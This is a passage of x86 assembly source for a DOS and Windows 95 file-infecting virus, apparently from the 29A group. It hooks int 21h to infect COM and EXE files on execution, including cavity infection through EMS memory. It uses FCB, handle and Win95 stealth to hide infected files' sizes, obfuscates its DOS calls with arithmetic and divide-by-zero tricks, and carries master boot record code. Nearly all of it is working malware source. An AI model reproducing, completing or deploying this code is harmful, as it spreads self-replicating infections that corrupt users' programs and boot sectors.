; 0ffh beggining instructions are handled on a different way than the
;others; as we see, 50% of this instructions cannot be emulated by the
;executor and need a special consideration: beeing 80h opcodes, a specific
;routine for each one would mean a quantity of bytes we don't have, nor
;want. So, this is solved by just debugging the next instruction on simple
;step mode, tracing; the instructions with 0ffh, anyway, do not represent
;any danger for the stability of the emulation even if they are just traced.
mov byte ptr cs:[opcodeFFflag],0
mov ax,3501h ; Int1h
int 21h
push es bx
mov ax,2501h
push ax
mov word ptr cs:[where2jump+2],ds
cmp byte ptr cs:[_pref],0
jz @@PrefijoNoPresente
dec si
@@PrefijoNoPresente:
mov word ptr cs:[where2jump],si
push cs
pop ds
lea dx,@Debugging1
int 21h
push offset @continue_tra
@set_registers_emu:
std
lea si,_flags
mov cx,10d
push_em_shit:
lodsw
push ax
loop push_em_shit
cld
call pop_all_regs
ret
@continue_tra:
mov word ptr cs:[_ss2],ss
mov word ptr cs:[_sp2],sp
cli
pushf
pop ax
or ah,01h
push ax
popf
mov ss,word ptr cs:[_ss]
mov sp,word ptr cs:[_sp]
db 0eah
where2jump: dw 0,0
@@replace: ; After execution is made.
mov ss,word ptr cs:[_ss2]
mov sp,word ptr cs:[_sp2]
pushf
pop ax
and ah,0feh
push ax
popf
sti
@retornodealla:
pop ax dx ds
int 21h
jmp get&exec_instruction
@Debugging1:
push es ds si ax
mov si,sp
add si,8
push ss
pop ds
lodsw
push ax
lodsw
push ax
pop ds si
cmp byte ptr cs:[opcodeFFflag],1
jnz @@Debno
push ss cs
pop es ds
mov si,sp
add si,08h
lea di,_ip
movsd
add sp,0eh
jmp @@replace
@@Debno:
push bx ax cs ds
pop ax bx
cmp ax,bx
pop ax bx
jz @@Deb2
@@Deb1:
mov byte ptr cs:[opcodeFFflag],1
@@Deb2:
pop ax si ds es
iret
;-ú--ú-ú-ú--ú--ú-ú--úú-ú-úú-ú--ú-ú--ú-úú-ú-ú--ú-ú--ú-úú-ú-úú-ú-ú--ú-ú--ú-ú-ú-
; Instructions execution zone
;ú-ú--ú--ú-ú--ú-úú-ú--ú-úú-ú-úú-úúú-ú--ú-ú--ú--ú-ú--ú-ú--ú-úú-ú-ú--ú-úú-ú-ú--
ejecuci¢n:
call push_all_regs
push cs
pop ds
call @set_registers_emu
mov word ptr cs:[_ss2],ss
mov word ptr cs:[_sp2],sp
cli
mov ss,word ptr cs:[_ss]
mov sp,word ptr cs:[_sp]
nop ; Neccesary nops ( prefixes+rep )
execi: db 6 dup (90h) ; Six nops to place instruction
cli
mov word ptr cs:[_ss],ss
mov word ptr cs:[_sp],sp
mov ss,word ptr cs:[_ss2]
mov sp,word ptr cs:[_sp2]
sti
call push_all_regs ; Store registers again
push cs
pop ds
lea di,[_ds]
mov cx,10d
@store_regs_emu:
pop ax
stosw
loop @store_regs_emu
dec byte ptr cs:[_csflag]
jnz @@_notCs
push word ptr cs:[_ds2]
pop word ptr cs:[_ds]
@@_notCs:
mov byte ptr cs:[_csflag],0
call pop_all_regs
jmp get&exec_instruction
;*****************
; Push & Pop Registers
; ******************
push_all_regs:
; Pushes all registers
pop cs:word ptr [call_flag] ;
pushf
push bp di si dx cx bx ax es ds
push cs:word ptr [call_flag]
ret
pop_all_regs:
; Restores all registers
pop cs:word ptr [call_flag]
pop ds es ax bx cx dx si di bp
popf
push cs:word ptr [call_flag]
ret
call_flag: dw 0
offset_table:
dw offset @variable1, offset @variable1, offset @variable1 ; 00h-02h
dw offset @variable1, offset @bytes2, offset @bytes3 ; 03h-05h
dw offset @pushstack, offset @bytes1, offset @variable1 ; 06h-08h
dw offset @variable1, offset @variable1, offset @variable1 ; 09h-0bh
dw offset @bytes2, offset @bytes3, offset @pushstack ; 0ch-0eh
dw offset @bytes1 ; 0fh
dw offset @bytes1, offset @bytes1, offset @wrongkind ; 60h-62h
dw offset @wrongkind, offset @wrongkind, offset @wrongkind ; 63h-65h
dw offset @wrongkind, offset @wrongkind, offset @bytes3 ; 66h-68h
dw offset @wrongkind, offset @wrongkind, offset @wrongkind ; 69h-6bh
dw offset @bytes1, offset @bytes1, offset @bytes1 ; 6ch-6eh
dw offset @bytes1 ; 6fh
dw offset @Jojmp, offset @Jnojmp, offset @Jbjmp ; 70h-72h
dw offset @Jnbjmp, offset @Jzjmp, offset @Jnzjmp ; 73h-75h
dw offset @Jbejmp, offset @Jajmp, offset @Jsjmp ; 76h-78h
dw offset @Jnsjmp, offset @Jpejmp, offset @Jpojmp ; 79h-7bh
dw offset @Jljmp, offset @Jgejmp, offset @Jlejmp ; 7ch-7eh
dw offset @jgjmp ; 7fh
dw offset @variable2, offset @variable3, offset @variable2 ; 80h-82h
dw offset @variable2, offset @variable1, offset @variable1 ; 83h-85h
dw offset @variable1, offset @variable1, offset @variable1 ; 86h-88h
dw offset @variable1, offset @variable1, offset @variable1 ; 89h-8bh
dw offset @variable1, offset @variable1, offset @variable1 ; 8ch-8eh
dw offset @variable1 ; 8fh
dw offset @bytes1, offset @bytes1, offset @bytes1 ; 90h-92h
dw offset @bytes1, offset @bytes1, offset @bytes1 ; 93h-95h
dw offset @bytes1, offset @bytes1, offset @bytes1 ; 96h-98h
dw offset @bytes1, offset @Fcall, offset @bytes1 ; 99h-9bh
dw offset @bytes1, offset @bytes1, offset @bytes1 ; 9ch-9eh
dw offset @bytes1 ; 9fh
dw offset @bytes3, offset @bytes3, offset @bytes3 ; a0h-a2h
dw offset @bytes3, offset @bytes1, offset @bytes1 ; a3h-a5h
dw offset @bytes1, offset @bytes1, offset @bytes2 ; a6h-a8h
dw offset @bytes3, offset @bytes1, offset @bytes1 ; a9h-abh
dw offset @bytes1, offset @bytes1, offset @bytes1 ; ach-aeh
dw offset @bytes1 ; afh
dw offset @bytes2, offset @bytes2, offset @bytes2 ; b0h-b2h
dw offset @bytes2, offset @bytes2, offset @bytes2 ; b3h-b5h
dw offset @bytes2, offset @bytes2, offset @bytes3 ; b6h-b8h
dw offset @bytes3, offset @bytes3, offset @bytes3 ; b9h-bbh
dw offset @bytes3, offset @bytes3, offset @bytes3 ; bch-beh
dw offset @bytes3 ; bfh
dw offset @variable2, offset @variable2, offset @RetNum ; c0h-c2h
dw offset @RetKind, offset @variable1, offset @variable1 ; c3h-c5h
dw offset @variable2, offset @variable3, offset @wrongkind ; c6h-c8h
dw offset @wrongkind, offset @RetfNum, offset @RetfKind ; c9h-cbh
dw offset @bytes1, offset @interrupt, offset @bytes1 ; cch-ceh
dw offset @IretKind ; cfh
dw offset @variable1, offset @variable1, offset @variable1 ; d0h-d2h
dw offset @variable1, offset @bytes2, offset @bytes2 ; d3h-d5h
dw offset @wrongkind, offset @bytes1, offset @variable1 ; d6h-d8h
dw offset @variable1, offset @variable1, offset @variable1 ; d9h-dbh
dw offset @variable1, offset @variable1, offset @variable1 ; dch-deh
dw offset @variable1
dw offset @MLoopnz, offset @MLoopz, offset @MLoop ; e0h-e2h
dw offset @MJcxz, offset @bytes2, offset @bytes2 ; e3h-e5h
dw offset @bytes2, offset @bytes2, offset @SCall ; e6h-e8h
dw offset @Sjmp, offset @Fjmp, offset @NJmp ; e9h-ebh
dw offset @bytes1, offset @bytes1, offset @bytes1 ; ech-eeh
dw offset @bytes1 ; efh
dw offset @bytes1, offset @wrongkind, offset @@NotCsPrefix; f0h-f2h
dw offset @@NotCsPrefix, offset @bytes1, offset @bytes1 ; f3h-f5h
dw offset @variable2, offset @Variable3, offset @bytes1 ; f6h-f8h
dw offset @bytes1, offset @bytes1, offset @bytes1 ; f9h-fbh
dw offset @bytes1, offset @bytes1, offset @0FEh ; fch-feh
dw offset @0FFh
; **********************
; Opcodes for emulation
; **********************
_csflag:db 0
_ds2: db 0
_Pref: db 0
_ip: dw 0
_cs: dw 0
_ds: dw 0
_es: dw 0
_ax: dw 0
_bx: dw 0
_cx: dw 0
_dx: dw 0
_si: dw 0
_di: dw 0
_bp: dw 0
_flags: dw 0
_ss: dw 0
_sp: dw 0
_ss2: dw 0
_sp2: dw 0
_stack: db 350d dup (00h)
_endstack label byte
_stack2: db 300d dup (00h)
_endstack2 label byte
_usemode: dw 0
_theresacall: db 0
;****************************************************************************
; Diverse subroutines
;****************************************************************************
check_dos_version:
mov ah,30h
int 21h
cmp al,7d
ret
get_sft:
push bx
mov ax,1220h
int 2fh
jc @@go_out
xor bx,bx
mov bl,byte ptr es:[di]
mov ax,1216h
int 2fh ; In ES:DI we get the Sft entry that
clc
@@go_out:
pop bx
ret ;belongs to the actual file.
rehandle:
cld
mov di,word ptr cs:[jump_handle] ; Place to handle
mov es,word ptr cs:[jump_handle+2]
push cs
mov al,0eah
stosb
mov ax,offset int21handler
stosw
pop ax
stosw
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; FCB Stealth
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; He is the angel with the scabbed wings hard-drug face want to powder his
;nose. He will deflower the freshest crop dry up all the wombs with his
;rock and roll sores.
;
fcb:
call pop_all_regs
pushf ; The same old routine
call dword ptr cs:[Int21h] ;for Fcb stealth ( nothing
test al,al ;new, aren't you bored
jnz nada_de_stealth ;about this ones ? )
call push_all_regs
mov ah,51h
int 21h
mov es,bx
cmp bx,es:[16h]
jnz Not_infected
mov bx,dx
mov al,byte ptr [bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jnz Normal_FCB
add bx,7h
Normal_FCB:
mov al,es:[bx+17h]
and al,1eh
xor al,1eh
jnz Not_infected
sub word ptr es:[bx+1dh],Virus_size+200h
sbb word ptr es:[bx+1fh],0
and byte ptr es:[bx+17h],06bh
Not_infected:
call pop_all_regs
nada_de_stealth:
mov byte ptr cs:[InVirus],0
cmp word ptr cs:[int21h_plural],0
jz w95whit
push es di ax
call rehandle
pop ax di es
mov ss,word ptr cs:stack_old+2
mov sp,word ptr cs:stack_old
w95whit:
retf 2
set_a_pair_values:
mov byte ptr cs:[_theresacall],1 ; Dos=HMA ?
mov word ptr cs:[_usemode],0201h ;OPTIMIZE !!!
call Code_Emulator
ret
fuck_the_rules:
push ss
pop word ptr cs:[_ss] ; Set stack
mov word ptr cs:[_sp],offset _endstack
ret
Strapping_Young_Lad:
mov ah,40h ; First 3 bytes
mov cx,3
lea dx,comjmp
call call_21h
ret
Smack_My_Bitch_UP:
sub ax,0ff00h
mov word ptr cs:[BP_Init],ax ; Delta adjust
mov word ptr cs:[Another_BP],ax
ret
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Int 21h handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; And I control you, guy. Total control. Sickness. Cold. Do you want to die
; with me today ?
;
InVirus:
db 0
int21handler:
mov byte ptr cs:[InVirus],1
cmp ax,0cacah ; Tsr check
jnz @Fale_ok
cmp esi,'_29A'
jnz @Fale_ok
mov esi,'RULZ' ; Original, isn't it ? :-P
mov byte ptr cs:[InVirus],0
iret
@Fale_ok:
mov word ptr cs:stack_old+2,ss
mov word ptr cs:stack_old,sp
push cs
pop ss
mov sp,offset _endstack2-2
call push_all_regs
cld
push cs ; As if nothing happened in int21h
pop ds
mov es,word ptr cs:[jump_handle+2]
mov di,word ptr cs:[jump_handle]
lea si,saved21
movsd
movsb
cmp ax,04b00h
jz close_file
cmp ah,11h
jz fcb
cmp ah,12h
jz fcb
cmp ah,4eh
jz handle
cmp ah,4fh
jz handle
We_finish_here_anyway:
xor ax,ax
mov es,ax
push cs
mov word ptr es:[0004h],offset Trace_01
pop word ptr es:[0006h]
mov byte ptr cs:[trace_flag],5d
_HowMuch equ $-1 ; To set how much to trace
finished:
call pop_all_regs
push ax
pushf
pop ax ; Trap flag
or ah,01h
push ax
popf
pop ax
mov ss,word ptr cs:stack_old+2
mov sp,word ptr cs:stack_old
@Returnboy:
jumper: db 0eah ; call xxxx:yyyy
jump_handle:dw 0,0
saved21: db 10d dup (?)
trace_off: dw 0,0
Trace_01:
call push_all_regs
mov di,sp
mov ax,word ptr ss:[di+22d]
push cs
pop di
sub ax,di
jz Alacalleostias
dec byte ptr cs:[trace_flag]
jnz Alacalleostias ; Done !
call rehandle
call pop_all_regs
mov word ptr cs:[_Ax],ax
add sp,4d
pop ax
and ah,0feh
push ax
popf
sub sp,6d
mov ax,word ptr cs:[_Ax]
mov byte ptr cs:[InVirus],0
iret
Alacalleostias:
call pop_all_regs
iret
stack_old: dw 0,0
Trace_flag: db 0
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ALTERNATE INT 21h HANDLER
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Alternate_21_handler:
cmp ax,0cacah ; Tsr check ( temporal )
jnz @NoTsrCheck
cmp esi,'_29A'
jnz @NoTsrCheck
mov esi,'RULZ' ; :-P
iret
tha_difference equ not_W95-We_finish_here_anyway
@NoTsrCheck:
call push_all_regs
add word ptr cs:[return_point],tha_difference
xor ax,029ah
cmp ax,4b00h xor 029ah ; 4b00h xor 029ah
jnz not_inf_W95
jmp EXE_W95_Infect
not_inf_W95:
cmp ax,714eh xor 029ah
jz W95_Stealth
cmp ax,714fh xor 029ah
jz W95_Stealth
cmp ah,4eh xor 02h
jz StealthHandle
cmp ah,4fh xor 02h
jnz not_W95
StealthHandle:
sub word ptr cs:[return_point],tha_difference
jmp handle
not_W95:
cmp ah,11h xor 02h
jz FCB_St
cmp ah,12h xor 02h
jnz not_FCB
FCB_st:
sub word ptr cs:[return_point],tha_difference
jmp fcb
not_FCB:
sub word ptr cs:[return_point],tha_difference
call pop_all_regs
jmp j21
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; HANDLE STEALTH
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Nothing exists. Nothing has sense. Not nothing. Not a fuck. Fuck it.
;
; Fuck it off.
;
handle:
call pop_all_regs
pushf ; Handle stealth, functions
call dword ptr cs:[Int21h] ;4eh/4fh. The most original
jc handle_out ;routines in some viruses ;)
pushf
push dx ax es bx di
mov ah,2fh
int 21h
mov al,es:[bx+16h]
and al,1eh
xor al,1eh
jnz not_infec
sub word ptr es:[bx+1ah],Virus_size+200h
sbb word ptr es:[bx+1ch],0
and byte ptr es:[bx+16h],06bh
not_infec:
pop di bx es ax dx
popf
handle_out:
pushf
mov byte ptr cs:[InVirus],0
cmp word ptr cs:[int21h_plural],0
jnz No_Estamos_en_95
popf
retf 2
No_Estamos_en_95:
popf
call push_all_regs
call rehandle ; REPONER CO¥O !
call pop_all_regs
mov ss,word ptr cs:stack_old+2
mov sp,word ptr cs:stack_old
Estamos_en_95:
retf 2
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Windows 95 Ms-Dos stealth
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Win95 stealth:
;
; W95's Ms-Dos 7.0 performs the "dir" instruction by means of
; int21h's 714eh and 714fh functions ( FindFirst/FindNext ). Anyway, by
; the method this virus infects, it's just impossible to stealth directly
; there because we can't check if the virus is infected.
;
; When FindFirst/FindNext functions are called, the results are
; beeing stored not in a DTA as usual in previous DOS versions, but in a
; W32_FIND_DATA structure. You can easily find a description from this,
; but really what we only care about is the place where the file length
; is stored, that's a DD in the offset 1ch and another in the offset 20h,
; beeing the second the Low DD of the file length and the first one the
; High DD of file length.
;
; So, as 714e/f is called, the OS passes in ES:DI where this
; structure is. We can substract then the virus length to the offset 20h
; ( and sbb in 1ch, which wouldn't be really necesarry ); but how do we
; check the date if it's set to 61/62 seconds ?
;
; We can't. Let's look at the offset of LastAccessTime, which is
; 0ch, or at the offset LastWriteTime, which is 14h. They have "FILETIME"
; format, that is, two DDs with Low and High filetime. The bad stuff is,
; it's stored in nanoseconds*10^2 from January 1, 1601 (!!!) as the
; documentation tells us. So, you should have noticed by now that then it's
; impossible to check if the seconds were set at a "strange" position, as
; it's stored in seconds^(-7) ! ( so where's the Y2K problem that W98 tells
; us is aware of ? )
;
; Well, I made the easy "old dos" solution, which goes fast in a slow
; W95, and the most important, works perfect; just open the file, get the
; file time by 5700h funtion, and decrease in the W32_FIND_DATA the virus
; size if it's infected ;-).
;
;
W95_Stealth:
sub word ptr cs:[return_point],tha_difference
call pop_all_regs
pushf
call dword ptr cs:[int21h]
call push_all_regs
push es
pop ds
mov dx,di
add dx,2ch
mov ax,3d00h
call call_21h
jc dont_stealth_w95
xchg ax,bx
xor bp,bp
mov ax,5700h
call call_21h
and cl,1eh
xor cl,1eh
jnz close_stealth
inc bp
close_stealth:
mov ah,03eh
call call_21h
; The date is in EDX:EAX, in FILETIME format, that is,
;in nanoseconds*100d, ( 1 nano = 10^(-9) )
dec bp
jnz dont_stealth_w95
; Substract virus size
sub dword ptr es:[di+20h],virus_size+200h
sbb dword ptr es:[di+1eh],0
dont_stealth_w95:
call pop_all_regs
retf 2
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; File infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; They say solution is seek and destroy. Ambition. You've gotta fight for
; their wealth, you've gotta compete against others, you've gotta follow
; their dogmas; so, maybe one day they'll get you to their Kingdom of
; Nothing.
;
; Have you wondered why their only desire is keeping you far away from the
; nonsense ?
;
attak_file:
close_file:
push offset @end_found
front_door:
in al,40h
mov byte ptr cs:[outta_crypt],al
mov ax,3500h
call call_21h
mov word ptr cs:[int0h],bx
mov word ptr cs:[int0h+2],es
mov bp,0ad54h ; Base pointer :PPPP mwahaha
xor ax,bp
sub ax,7354h
push cs
pop ds
mov dx,offset int0handler
call call_21h ; 2500h
xor ax,bp ; 3524h
add ax,0acd0h
push bp
xor bp,bp
div bp
mov word ptr cs:[int24h],bx
mov word ptr cs:[int24h+2],es
add ax,0f000h ; 2524h
mov dx,offset int24handler
div bp
pop si
add ax,si
add ax,5290h
mov ds,word ptr cs:[int8h+2d]
mov dx,word ptr cs:[int8h]
div bp ; 2508
pop word ptr cs:[buffercom]
call
pop_all_regs
call push_all_regs
push word ptr cs:[buffercom]
mov si,dx
@find_end: ; Search for end of file name ( 0 )
lodsb
or al,al
jnz @find_end
ret
int24handler: ; Why not here ? :-P
mov al,3
iret
int24h:
dw 0,0
@end_found:
sub si,4
mov bp,0ffffh
mov di,bp ; Later
inc di
cmp word ptr ds:[si],'OC'
jz @Likely_Com
@Likely_Exe:
cmp word ptr ds:[si],'XE'
jz It_is_Xe
jmp end_infection
It_is_Xe:
inc bp
@Likely_Com:
mov si,09cd4h ; AX
mov ax,si
add ax,0a02ch ; 3d00h :-)
div di
jc end_infection
xchg ax,bx
call get_sft
jc end_infection
push cs
pop ds
push word ptr es:[di+04h]
mov byte ptr es:[di+04h],0 ; Attribs 2 zero
mov byte ptr es:[di+02h],2 ; Write/read mode
mov ax,word ptr es:[di+0dh] ; Infection mark.
mov cx,01eh
and al,cl
xor al,cl
jz rest_attrs
push word ptr es:[di+0dh]
push word ptr es:[di+0fh]
;*Final_Check*
; 1eh
push bp
xor ax,ax
mov bp,ax
mov ah,cl
lea dx,buffercom ; ah = 3fh ( read 01ch bytes )
add ax,0de00h ; 0fch
add ax,04300h
div bp
pop bp
xchg si,dx ; Is it an exe header ?
lodsw
xor ah,al
xor ah,('M' xor 'Z')
jnz @Non_Exe_Phile
inc bp
@Non_Exe_Phile:
inc bp
jnz Infect_Exe
;*Final_Check_Ends*
; Inserting possibility
cmp word ptr es:[di+11h],07f00h ; 32 Kb max for inserting
ja @append ; ( 32Kb - 100h bytes for Psp )
call EMS_IVT ; Check if EMS vector 67h
jz @append
mov ah,40h ; EMS there ?
int 67h
or ah,ah
jnz @append
call EMS_Get ; DS = SEGMENT, DX = HANDLE, BX = FHANDLE
call push_all_regs
; Inserting infection
mov dx,100h
mov word ptr es:[di+15h],0 ; Load file at ds:0100h
mov ah,3fh
mov cx,word ptr es:[di+11h]
call call_21h
mov word ptr cs:[_ip],100h
mov word ptr cs:[_cs],ds
mov word ptr cs:[_ds],ds
mov word ptr cs:[_es],ds
mov word ptr cs:[_cx],cx
call fuck_the_rules
xor ax,ax
mov ds,ax
mov ah,byte ptr ds:[46ch]
inc al ; Mode 02 ( checking for instruction
inc al ;length )
mov word ptr cs:[_usemode],ax
call code_emulator
call pop_all_regs
push dx
mov ax,word ptr cs:[_ip]
sub ax,3h ; Para ajustar a la posici¢n anterior
mov word ptr cs:[ret_pos],ax ; Return address
sub ax,100h
mov word ptr es:[di+15h],ax ; Where to put the jmp
push ax
mov ah,3fh
mov cx,3h
push cs ; innecesario ?
pop ds
lea dx,buffercom
call call_21h
pop si ; SI = Place of inserting
mov ax,word ptr es:[di+11h]
mov word ptr es:[di+15h],ax
push ax
call Smack_My_Bitch_UP
xor bp,bp
call copy_myself
pop ax
sub ax,si ; ?
sub ax,3
mov word ptr cs:[comjmp+1],ax ; cs: fuera
mov word ptr es:[di+15h],si ; Go to init ( 0 or SI )
call Strapping_Young_Lad
pop dx
mov ah,45h ; Free EMS memory
int 67h
jmp @rest_stuff
@rec_append:
pop ax bx
@append:
mov word ptr cs:[ret_pos],0100h
mov ax,word ptr es:[di+11h] ; Jump at init
mov word ptr es:[di+15h],ax
push ax
add ax,200h
call Smack_My_Bitch_UP
mov bp,1
call copy_myself
pop ax
sub ax,3
mov word ptr cs:[comjmp+1],ax
mov word ptr es:[di+15h],0 ; Go to init ( 0 or SI )
call Strapping_Young_Lad
@rest_stuff:
pop dx cx
or cl,1fh ; New file time
mov ax,5701h
call call_21h
rest_attrs:
pop ax
mov byte ptr es:[di+4h],al ; Attrib
@closego:
mov ah,3eh
call call_21h
end_infection:
push cs
pop ds
trick:
mov ax,0cd34h
add ax,2beah
jnc trick+1
xor cx,cx
sub al,0b5h
lea dx,handler22h
cmp word ptr ds:[int21h_plural],cx
jz @dontmessitup
div cx ; AX = 2508h
@dontmessitup:
xor ax,0ffffh
push ax
mov dx,word ptr cs:[int24h]
mov ds,word ptr cs:[int24h+2]
trick2:
add ax,0f1f7h ; AX = 2524h
sub ax,0a7cah
jnc trick2+1
; ax = 7d5a ahora
pop ax
mov si,word ptr cs:[int0h] ; Looks as if it was anything
mov ds,word ptr cs:[int0h+2] ;of interest in ds:si
trick3:
add ax,0f289h ; inside -> mov dx,si
add ax,02bc0h
jnc trick3+1
div cx
jmp We_finish_here_anyway
return_point equ $-2
;***********
EMS_IVT:
push ds
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[19ch] ; Int67h present ? Could hang
pop ds ;otherwise
or ax,ax
ret
EMS_Get:
push bx ; File handle
mov ah,41h ; Address of the page frame
int 67h ;segment in Bx, where pages are
;dumped
push bx
mov ah,43h
mov bx,2 ; Assign 2 pages ( 32 Kb ) for us
int 67h
or ah,ah
jnz @rec_append ; Dx = EMS Handler
mov ax,4400h ; Dump the logical page in BX
mov bx,0000h ;to the physical one in Al
int 67h
pop ds ; Segment of EMS: we can start
;writing on this 32Kb
pop bx ; Recover handle
ret
repeated: db 0
coincidences: dw 0
reference: db 0
Infect_Exe:
; With file opened, date stored, etc
call EMS_IVT
jz Exe_Shit
cmp dword ptr es:[di+11h],350000d ; Maximum
ja Exe_Shit
cmp word ptr cs:[buffercom+1ah],0 ; Not-overlays
jnz Exe_Shit
mov ah,40h ; EMS ?
int 67h
or ah,ah
jnz Exe_Shit
call EMS_Get
mov byte ptr cs:[reference],-1
push dx
Read_16Kb:
inc byte ptr cs:[reference]
xor dx,dx
mov ah,3fh
mov cx,04000h
div dx
cmp cx,ax
jnz @Free_Ems
xor si,si
Get_byte:
lodsb
cmp byte ptr cs:[repeated],al
jz @add_1_to
mov byte ptr cs:[repeated],al
mov word ptr cs:[coincidences],0
@add_1_to:
inc word ptr cs:[coincidences]
cmp word ptr cs:[coincidences],virus_size
jz @CavityRulez
cmp si,4000h
jnae Get_Byte
jmp Read_16Kb
@CavityRulez:
xor ax,ax
mov al,byte ptr [reference]
mov dx,4000h
mul dx ; DX:AX is tha shit
add ax,si ; Offset on this one
adc dx,0 ; Adjust dx
sub ax,(virus_size-01ch) ; Real offset
sbb dx,0 ; Adjust dx
push ax dx ; Start en fichero
pop ax
rol eax,16d
pop ax ; EAX = DXAX
mov dx,word ptr cs:[buffercom+8h]
rol dx,4d ; ( paragraphs )
mov dword ptr es:[di+15h],eax
push ax
sub ax,dx
add ax,100h
mov si,ax
call Smack_My_Bitch_UP
pop ax
mov bp,1
call copy_myself
sub ax,dx
rol eax,16d
sbb ax,0h
rol eax,16d
mov dword ptr cs:[buffercom+14h],eax
push cs
pop ds
lea dx,buffercom
mov cx,1ch
xor ebp,ebp
mov dword ptr es:[di+15h],ebp
mov ah,40h
div bp
@Free_Ems:
pop dx ; EMS Handle
mov ah,45h ; Free EMS memory
int 67h
; Parte final com£n:
Exe_Shit:
jmp @rest_stuff
;ú--úú-úú-ú-úúú-ú--ú-ú-úú--ú--ú-úú-ú-úú-úú-ú-ú-úú-úú-ú--ú-úú-ú--ú-úú-ú-úú-ú-ú
; Int 8h handler
;-ú--ú-ú-úú-ú-úúú--úúú-ú--ú--ú-ú--ú-ú-ú--úú-ú-úú--úú-ú-úúú-ú-ú-ú-ú--ú-úúú-ú-ú
db 'I''m Ithaqua,... that who walks over the wind',0
handler22h:
call push_all_regs
mov ds,word ptr cs:[Swap_seg]
mov si,word ptr cs:[Swap_off]
lodsw ; ah=INDOS flag
or ax,ax
jnz go_away
mov al,byte ptr cs:[InVirus]
or al,al
jnz go_away
cld
push cs ; So, we recover the jump.
pop ds
mov es,word ptr ds:[jump_handle+2]
mov di,word ptr ds:[jump_handle]
lea si,saved21
movsd
movsb
xor ax,ax
mov ds,ax
db 0a0h,06ch,04h ; mov al,[46ch]
and al,11b
cmp al,3d
jnz betta_dan_be4
dec al
betta_dan_be4:
rol ax,2
mov si,offset int21h_plural
add si,ax
mov dx,word ptr cs:[si]
mov ds,word ptr cs:[si+2]
mov word ptr cs:[jump_handle],dx
mov word ptr cs:[jump_handle+2],ds
push cs dx ; We save real instructions
pop si es
lea di,saved21
movsd
movsb
call rehandle
go_away:
call pop_all_regs
db 0eah
int8h: dw 0,0
;-ú--ú-ú--ú-ú--úú-úú-ú--ú-úú-ú--ú-ú--ú-ú--ú-úú-ú--ú--úú-ú-úú-úú-ú--úú-ú--ú-
; MBR Stuff
;-ú--ú-ú--ú-ú--úú-úú-ú--ú-úú-ú--ú-ú--ú-ú--ú-úú-ú--ú--úú-ú-úú-úú-ú--úú-ú-úú-
;
; Aquel que se rompe los dientes con la c scara raramente come la
; almendra.
;
;
MBR_start label byte
MBR_real_start:
cli
db (512d-(boot_up_end-MBR_bootup)+1) dup (90h)
MBR_Bootup:
cli
xor ax,ax
mov ss,ax
mov sp,7c00h
sti
mov si,sp
mov ds,ax
dec word ptr ds:[413h]
int 12h
shl ax,6d
mov es,ax
xor di,di
mov cx,512d
rep movsb
push es
push offset Sector_3-(MBR_Start-Virus_starts)
retf
